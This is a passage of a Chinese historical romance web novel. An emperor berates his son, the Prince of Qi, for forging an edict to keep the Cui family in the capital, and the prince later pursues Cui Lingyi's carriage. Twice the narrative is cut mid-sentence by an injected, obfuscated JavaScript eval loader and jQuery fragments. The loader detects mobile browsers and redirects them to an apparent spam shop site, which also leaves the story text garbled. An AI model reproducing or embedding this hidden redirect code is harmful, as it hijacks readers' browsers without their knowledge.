外界传言这对父子最是亲近和谐,如今看着倒不大像,毕竟只是进去说两句都能吵起来,哪里像他与若玉,二十几载都未红过脸。
哎,想来此番的政事着实有些棘手了,陛下连最疼的儿子都训斥了起来,他待会可得打起精神来,早办完差事早回去,一家人都等着回清河呢。
不再去听主殿里的动静,崔砚端起热茶饮了一口,闭目沉神等待着。
元宁帝此刻都不知骂什么了,只觉这个大孝子给他揽了个好差事,一个他甚至都不知如何下手的好差事。
焦躁地在殿里来回走了好几圈,每次回头想再踢这个大孝子一脚,然脚上阵阵的麻意便会提醒他不能去和石头一般计较。
这竖子果然像他,同他年轻时候一模一样的身板,硌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12787876|133599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得他脚疼。
“阿父你冷静一下消消气,气坏了身子可不好,这事也不难,阿父动动嘴的事嘛。”
燕钰试图去安抚情绪狂躁的阿父,甚至拿出了小时候那一套,但可惜如今元宁帝只想骂他。
“竖子,矫诏老子都不想说你什么了,但你将崔家人带回来,还要老子去编谎话留人,这不仅是自己打自己的脸,还要你老子我想法子自己打自己的脸,简直、简直是荒谬!”
一提起这个糟心事,元宁帝气不打一处来,脑壳也隐隐作痛。
燕钰自知自己这手做得不地道,但他着实没有更好的法子了,孤注一掷是当时他唯一的选择。
“阿父你不知道,要不是我碰巧去了伊水河畔,远远瞧了那么一眼将人认了出来,怕是我此生都会错过,眼见崔家人就要登船走了,除了阿父,儿子实在是想不出更好的法子,矫诏的事儿子知错,也心甘情愿受罚,只求阿父万万要帮我留下人,不然等人回了清河,再寻个人嫁了,儿子恨不得剃了头去南华寺出家,儿子这辈子就相中她了!”
燕钰将心一横,冲过去紧紧抱住了元宁帝的腿,可怜兮兮地卖惨,就差痛哭流涕了。
而卢皇后这边,看了父子两好半晌的热闹,也终是想起来帮衬一下儿子,忙不迭去拉丈夫的衣袖,好说歹说道:“陛下息怒,崔公还在偏殿,你这么大嗓门,是怕人家听不到咱们的笑话吗,快噤声些。”
被卢皇后这么一提醒,元宁帝想起偏殿还有崔砚在,头脑瞬间清醒了许多。
“你还敢威胁你老子?”
压低了些声量,元宁帝咬牙切齿一脚将人蹬开道。
燕钰轻车熟路地从地上爬起来,笑嘻嘻道:“哪敢啊阿父,这都是儿子的真心话,只有阿父能救我于水火了。”
“哼,你这水火,我要是答应立即就到我头上了,你倒是美满了。”
元宁帝又不能平息心中的不甘,跟这个竖子有来有回地呛声,让一旁的卢皇后看得忍不住发笑。
第三次收到儿子的眼神求救,卢皇后抚着丈夫的背,柔声劝慰道:“这事也不是只对少瑜有好处,陛下不是一直愁没有台阶下,留不住贤臣吗?如今少瑜不是正送来一个?陛下就权当是为了少瑜能娶上新妇,咬牙下了这个台阶,日后有的是咱们大晋的福气,你说是与不是?”
元宁帝不是听不进劝的人,妻子一番话直敲着他本就带着遗憾的心,瞧着那神色明显是松动了。
“可让咱主动开口,那也太丢面子了。”
心防已然松动,但元宁帝还是嘴硬道。
卢皇后承着儿子赞赏的目光,再接再励道:“陛下何时是这般拘于小节的人了,小小地丢一次脸,便能换来诸多好处,这叫能屈能伸,而且,崔家知道此事只会感念陛下宽厚仁德,又怎会讥笑于陛下,陛下就是多虑了。”
元宁帝又是一阵沉默,背着手在殿里又是转了几圈,才打定了主意。
“行了,一个两个别搁着磨害我了,去寻个医官瞧瞧胳膊,你老子我当年也算是勇冠三军,别再将你个竖子踢废了,再少了个能跟人干仗的,那才亏了。”
“皇后也回去歇着吧。”
燕钰见阿父还是没有直接表态答应,他心里头不安稳,还想再凑上去说什么,但被阿母一个眼神拦住拉了出去。
就在燕钰频频回头张望时,他听见阿父吩咐田常侍去传了崔砚,顿时一颗心放下了,喜气洋洋地出去了,活蹦乱跳地像个猴子。
21. 上门
崔家这一等,足足耗了半日,崔砚回来的时候,已是薄暮冥冥。
一听说阿父回来了,一家子才摆上饭食,想着可以趁着一起用饭时商讨一下今日的变故。
好在也跟着回来了,要不然真在伊水边上待到晚上可不太舒坦。
崔家自然也不会连夜赶路,何况瞧着阿父的模样,也不像是办完差事的。
饭桌上,大兄问起这事,崔砚神色疑惑中带着些许古怪,缓缓开口。
“陛下说尚书台一时半会还是离不了我这个老臣,今日侍郎和各功曹忙活不过来,因为缺了主事者,常有疏忽,让我再看顾一二。”
崔砚没有将陛下说这些话时的古怪反应说出来,崔砚只当是陛下兜兜转转又找上他,一时觉得难为情罢了。
然偏偏挑在这个时候,崔砚当时也问了出来,而陛下的反应看着好似真不知他们崔氏今日动身,懊恼地将齐王骂了一顿。
“这事怪朕,点了五郎那混小子去,崔卿应当也是听过他名声的,做事想来无所顾忌,横行霸道的,我方才已经狠狠责骂过他了,今日的事确实是劳累崔卿了。”
一听元宁帝说起方才父子二人的动静,崔砚立即信了几分。
想来陛下确实是不知崔家今日启程,点了齐王这个横行无忌的过来,事后又将人骂了一顿。
“陛下严重了,臣虽已辞官,但社稷与朝政,臣义不容辞。”
陛下很是满意他的态度,只是言说许是要些时日,甚至还将新的税制改革推行之事也一并交给了他,最后还叮嘱他别忘了两日后的上巳日祓禊,大有君臣同乐的意思。
听崔砚此番话,一家人神色各异,有诧异陛下行事的,也有窥探到一点其他意味的,还有沉默压抑的。
郭暧在廷尉待了那么长时间,审讯犯人不知几何,他最能明白人的细微情绪,他难免往那方面猜。
他知道,如果此番是陛下想要留人,这对于崔氏来说是一桩好事,但这也意味着他很可能不会有机会了。
就算不是燕钰,也总会是别人,毕竟自己就算做得再好,在世人眼中,庶族出身的他,还是没有资格同洛阳那些世家大族的骄子相比,他怕这样的自己不能入义父义母的眼,也不能入她的眼。
念及此事,郭暧悬了半天的心渐渐下沉,归于沉寂。
元宁帝此番的态度,则让崔家再次被置于一个微妙的境地,让满洛阳本以为崔氏已成定局的人家再次将心往上提了提,伸长了脖子来看。
尤其是在崔砚卸任后觉得自己最有希望被提拔成尚书令的尚书左仆射杨志,见曾经的上峰回来,心中顿时七上八下的。
但君命如此,他只能咽下满心不甘,再次屈居崔氏手下。
无论是满朝文武还是黎民黔首,都在猜测陛下此举的用意。
然只有极少数知道,这事都是燕钰的功劳。
纸包不住火,燕钰矫诏将崔家人带回来,还撒泼打滚让元宁帝打掩护的事情也在一家子里传开了。
这是个顶顶稀奇的趣事,第二日,以燕锦为首,兄弟姊妹几个兴冲冲地就往燕钰的飞羽殿去了。
结果却扑了个空。
“我家大王一早出去了,不在皇宫。”
跟在燕钰身边的内官苏盛看见一众贵人过来寻,连忙告知了这一事。
燕锦扑了个空,又带着几个兄弟姊妹遗憾回去了。
不过他们看热闹的心并没有死,几个人又暗戳戳往宫外去了。
他们自不用问人去哪了,结合昨日的事,这小子定然贴过去了。
他们今日一定要瞧瞧!
……
今日的崔宅不出所料迎来了一位不速之客,齐王燕钰。
家主崔砚还在尚书台,家中适合接待这位贵客的便只有崔瑛一人。
也是崔瑛如今不当职,有这个空闲拿去耗,但接待的人是齐王,这多少让崔瑛心里头有些膈应。
他秉持着君子之道,但也终究是人,可不是一点仇不记的,那夜破城,这厮嚣张的模样对他来说可是记忆深刻。
但对方是皇子,又带着陛下的赏赐过来,崔瑛可不好甩脸色,只能拿出平素的端方稳重,以礼相待。
本以为将赏赐送到人就该走了,却不想在正厅内和对方扯皮了好半晌,对方提出了要在崔宅逛逛。
“令堂崔公是大晋少有的清流名臣,诗书风雅,品味上乘,听说这宅子的设计也是出自崔公的手,在下今日闲来无事,倒是想顺带一观,不知崔大郎君可有空闲相陪?”
都那么说了,崔瑛哪里有拒绝的余地,只能憋屈地答应了,如行尸走肉一般带着这个金贵的主在自家宅子里走来走去。
就在第三次走过假山时,崔瑛的耐心要被耗光了,要不是来之前妙言叮嘱过让他沉住气莫要冷脸,他真想甩脸子给燕钰看。
他到底想作甚,难道来崔家就为了看宅子,真是不可理喻。
嘴唇翕动,刚想张口说些话,崔瑛看见不远处走来了人,一身雪青色的裙袍,腰间垂着粉白玉带,发间簪了一对颜色相宜的紫玉钗,饰东珠耳珰,虽简单,但雅致贵气,让人见之忘俗。
正是他的大妹妹阿鸾。
若是平日,崔瑛定是要上去闲叙几句的,但如今身边跟着别有居心的齐王,崔瑛恨不得立即让阿妹躲起来。
昨夜在饭桌上,父母问起齐王那暧昧含糊的一句话,令仪虽没有全盘托出,但也多多少少交代了一些,但只说是燕钰来同她搭话她没理会,那些个动粗的事令仪便藏着掖着了。
要是让阿父和阿母等人知道自己动手打了齐王一个嘴巴子,怕是一家子都要忧心起来,饭也吃不香了。
也正是令仪交代得那一点,崔瑛此刻急得不得了,想将人拉走去别的地方逛,但瞧着燕钰忽地站定,仿佛是已然看见了阿妹。
崔瑛扭头,见燕钰双眸直直地看着阿妹的方向,眼睛都不舍得眨一下。
同为男子,崔瑛可太懂这是什么意思了。
正思索着该想个什么法子将人弄走不祸害他的阿妹,就看见不远处阿妹远远望了这边一眼,先看了看他,然后飞快瞥了一眼身边的燕钰,步伐伶俐地转了个弯,往一旁的小道上去了。
背影匆匆,一看便知是在躲避什么。
崔瑛忍不住勾起了唇,心里为阿妹的反应叫好。
“嗳?”
不同于崔瑛的松气欢欣,本来殷殷期盼的燕钰看见就快要到他跟前来的女郎硬生生转进了幽深小径,几步便没了身影,他没忍住发出了诧异且失落的声音,整个人瞬间就蔫了下来。
崔瑛观其步伐,大有想追着过去的架势,这怎么能行?
崔瑛当即将人绊住,强行拉着人到了那一簇嶙峋假山前,邀其品鉴。
“这簇假山群是我阿父当年泼墨后照着丹青建造而成,还曾得到过大王的大父太.祖皇帝的称赞,大王不如也来随崔某品鉴一番?”
燕钰看着消失在绿竹后的女郎,心里急得差点跳起来,第一反应就是想去追,但崔瑛堵得严实,燕钰一口气堵在心里上不去下不来,差点骂娘。
谁要看这些破石头,大舅哥也真是,他又不会吃人,至于这么绊着他吗?
好歹看着未来大舅哥的面子忍了这破石头一会,燕钰笑得一脸僵道:“我已悉数了解了这破、这簇假山的雅处,崔大郎君还是歇歇,眼看时辰不早了,便不逛了,告辞。”
燕钰在崔宅也是绕了好几圈的人,大致判断出了令仪去了哪里,从那个竹林出去,大概是要出门,也不知他现在出去还能不能追得上。
燕钰心里没底,但总要试试,说不定还能说几句话。
崔瑛自然也没有一直拦着人的道理,想着阿妹应当乘车走远了,笑吟吟将齐王这个居心叵测的麻烦精送走了。
看着燕钰的背影消失在门口,崔瑛犹不放心,忙去了找了郭暧,向他诉说了今日燕钰的异常。
还没将想说的话说出来,郭暧便明白了意思,脸色沉沉道:“兄长自不用多说,我都知晓,即刻便去看护。”
放下手里快要雕成型的象牙人像,二话不说就策马出了家门。
躲进了犊车内,听着外面车轱辘有规律的转动声,令仪才将忐忑的心放下来。
先前那一幕可吓死她了,就算是现在她心还忐忑着。
今日想起家里的沉香没了,沉香这味香一向是制安神香或者静心一类的香最主要的原料,缺不得。
上回忘记买些沉香带回去,如今又有了机会,令仪用完朝食便动身了。
五味阁是洛阳城最好的香铺子,里面的沉香质量最佳,令仪每每都要亲自过去挑选。
五味阁在南市,路程较远,令仪想着在路上和铺子里多磨蹭一会,回去应当就将人磨走了。
原本令仪先瞧见大兄,想过来打声招呼,然目光一偏便瞧见了大兄身边那人,身体比脑子还快,步子一扭就岔道走了。
她如今可是一点都不想面对这个人,能避开最好。
燕钰脚步匆忙地踏出崔宅,一路纵马追去。
他想着自己也没瞧那石头太久,犊车行得慢吞吞的,人应该没走多久,向过路人打听了一下,便知崔家的犊车往南市去了,他心神振奋,二话不说策马向南市赶去了。
犊车内,令仪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12803189|133599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有些气闷,令仪刚想掀开帘子透透气,忽听见车后传来一阵急促的马蹄声。
本没放在心上,但接下来的声音让令仪倏地退了回去。
“崔娘子,崔娘子~”
那一声中气很盛,由远及近,夹杂着欢喜。
令仪几乎是一瞬间就知道了那人是谁,伸出去的手也老实地伸了回来,外头的鹿鸣更是急了,在外面碎碎念着怎么办。
“噤声,别慌。”
在车内听着鹿鸣可怜又好笑的碎碎念,令仪轻声安慰道。
既然昨日在伊水河畔对方没有追究她,那便应当不是最坏的结果,还有商量的余地。
待到马蹄声挨着犊车,令仪知道人到了跟前,不卑不亢地开口道:“不知齐王忽然至此,请恕小女不能给齐王见礼了。”
一句客套的话说完,令仪刚想继续问他所欲为何,就被外面那厮嘴快地打断了,还是一句她不大能接住的话。
“崔娘子竟能听出是我!”
那话语声诧异,但更多是不加掩饰的惊喜,像是得了什么夸奖一般,兀自乐着。
令仪一时被噎住了,根本对不上燕钰莫名跳跃的思绪。
又是一阵马蹄声袭来,姗姗来迟的郭暧挡在了犊车前,面色不善地暗暗将燕钰的马挤开了些。
“草民见过齐王,不知齐王何故追着我阿妹的车驾,我阿妹她性子柔弱,禁不住齐王威势,还请大王宽宥。”
天知道郭暧刚到时瞧见燕钰一脸“贪婪”地看着阿鸾车驾的时候有多气愤,但他仍记着自己的身份,不能一时失去理智去挑衅皇子,只能冷着脸暗暗赶人。
听到义兄的声音,令仪便知有人应付燕钰了,放松了身子靠在车壁上,默默听着二人对话。
对于燕钰来说,崔家这个义子可不眼生,准确来说是刺眼。
不同于崔瑛这个真大舅哥,崔家这个义子郭暧本就同他的心上人不是亲兄妹,还一贯的不老实,他几乎一见着他便不自觉地反感起来。
完全是潜意识里生出的不喜,燕钰顿时没了对着心上人的灿烂笑容,又恢复成了平素的做派,那种倨傲又张狂,完全不会将不相干的人放在眼中的姿态。
“原来是你啊,我与崔娘子说话,有你什么事,你退开些,别碍眼。”
这是令仪第一次近距离见识燕钰不客气的模样,心里为义兄捏了把汗。
“大王不觉自己行事有些无礼了吗?我阿妹只是个胆小的女郎,禁不住大王在这纠缠,我身为与她自小一起长大的兄长,自然要看护一二,有什么问题?”
见这个寒庶子三言两语便将自己打成了纠缠女郎的轻浮浪荡子,又不怕死地在他面前强调了一遍两人亲密的关系,燕钰一下便被击中了痛点,眸子又冷又躁。
他也不是傻子,并非看不出人家正躲着他,甚至可以说避他如蛇蝎猛兽。
燕钰知道这是为什么,昨夜他躺在床上,脑中如走马观花一般将破城那一夜起的种种都想了起来。
崔宅前对她阿父放的狠话,南华寺醉酒之后的冒犯,望月楼下眼睁睁看着她被三妹欺负,甚至还昏头昏脑地说了些混账话。
燕钰知道她应该不知晓望月楼里他的话,但那些话光是自己每每想起,便觉没脸见她,更别提其余桩桩件件得罪人的事。
燕钰不知该如何才能将一切挽回,只能靠着最粗浅的方式,比如追着她的犊车,好说歹说让他搭些话。
但才刚开始便受到阻碍,燕钰的不虞直接挂在了面上,眼看着就要发作。
“义兄,我有些不舒服,还是莫要耽搁时间了。”
“大王赎罪,我义兄只是担心我,不是有意冒犯大王,小女这厢还有事情要办,不知大王可否高抬贵手?”
就在这剑拔弩张的时刻,女郎轻柔和缓的声音传出,如一道柔润的清泉,将两人勃发的怒意都按了下去,紧绷的气氛瞬间破裂。
“你不舒服?那我不说了,你快些去办你的事。”
还没轮到郭暧去关怀,燕钰抢在了他前面,听得他太阳穴突突地跳。
当真是一点分寸感都没!
但郭暧得承认,阿鸾这句话十分有用,顶他说一万句。
想着也算是摆脱了,郭暧也不废话,挤开燕钰,伴着犊车就要走。
但那厮像是想起了什么,复而追了上来,对着那块遮住了阿鸾身姿面容的车帘处急切问道:“敢问崔娘子,后日上巳节祓禊你还来吗?”
犊车内沉默了半晌,燕钰终是等来了一个答案。
“这要看家中大人的意思。”
轻飘飘的一句话落下,燕钰终是定了心神。